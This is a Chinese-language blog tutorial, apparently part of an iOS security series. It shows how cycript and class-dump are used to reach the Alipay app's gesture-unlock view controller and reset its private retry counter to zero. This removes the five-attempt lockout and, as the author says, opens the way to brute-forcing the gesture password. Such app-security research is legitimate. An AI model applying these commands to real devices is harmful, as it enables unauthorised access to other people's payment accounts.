返回首页 iOS 安全攻防

Hack 实战——解除支付宝 App 手势解锁错误次数限制

之前仅仅介绍了工具的使用,本文将实践一下如何利用 cycript 结合 class-dump 结果 hack,还要牺牲一下支付宝 App 。

首先,老套路,取到手势解锁界面的 View Controller:

cy# var app = [UIApplication sharedApplication]  
@"<DFApplication: 0x1666c960>"  
cy# var keyWindow = app.keyWindow  
@"<UIWindow: 0x16591bd0; frame = (0 0; 320 568); gestureRecognizers = <NSArray: 0x1b047000>; layer = <UIWindowLayer: 0x165d0650>>"  
cy# var root = keyWindow.rootViewController  
@"<UINavigationController: 0x179779a0>"  
cy# var visible = root.visibleViewController  
@"<GestureUnlockViewController: 0x165de090>"

然后,对照 class-dump-z 结果,来分析 GestureUnlockViewController 有什么利用价值 :

@interface GestureUnlockViewController : DTViewController <UIAlertViewDelegate, GestureHeadImageViewDelegate> {  
@private  
    GestureHeadImageView* _headImageView;  
    GestureTipLabel* _tipLabel;  
    GestureInputView* _inputView;  
    DTButton* _forgetButton;  
    DTButton* _changeAccountButton;  
    int _retryCount;  
    UIView* _guideView;  
    id<GestrueViewControllerDelegate> _delegate;  
}  
@property(assign, nonatomic) __weak id<GestrueViewControllerDelegate> delegate;  
-(void).cxx_destruct;  
-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation;  
-(void)headClicked;  
-(void)gestureInputView:(id)view didFinishWithPassword:(id)password;  
-(void)gestureInputViewFirstEffectiveTouch:(id)touch;  
-(void)alertView:(id)view clickedButtonAtIndex:(int)index;  
-(void)actionChangeAccountToLogin;  
-(void)actionResetPswBtnClick;  
-(void)resetCurrentUser;  
-(void)resetPsw;  
-(void)viewWillDisappear:(BOOL)view;  
-(void)notifyFaceToFacePayReceivedData:(id)facePayReceivedData;  
-(void)viewWillAppear:(BOOL)view;  
-(void)breakFirstRun;  
-(BOOL)isFirstRun;  
-(void)guideViewClicked:(id)clicked;  
-(void)viewDidLoad;  
-(void)viewWillLayoutSubviews;  
@end  

目测 _tipLabel 是写账户名和提示操作的 label ,上篇文章我提到过:@private 限制不了 keyPath ,现在我们来修改一下支付宝登录页的用户名信息:

cy# [visible setValue:@"Test By yiyaaixuexi" forKeyPath:@"_tipLabel.text"]  

hack-practice

支付宝手势密码解锁有尝试次数限制,连续错 5 次就要重新登录。 我想解除重试解锁次数的限制,发现了记录解锁次数的类型是 int ,int _retryCount ,这一点让我很不开心,因为我无法通过 KVC 来修改其值了。

但是没有关系,我可以通过指针访问:

cy# visible->_retryCount = 0  
0  

这样我就能无限制的用程序暴力破解手势密码了,来计算一下有多少种可能呢?

hack-practice2

这个数字对我来说有点大,可是对 iPhone5 的 CPU 来说就是小菜一碟了~

等一下,密码格式是什么呢?

-(void)gestureInputView:(id)view   
didFinishWithPassword:(id)password; 

id 类型的密码,很严谨,又给 hack 带来不少麻烦呀~ 不过没关系,我们可以利用 Method Swizzling 来打出 password 到底是什么,不过呢,貌似可以再写一篇新文章去介绍了……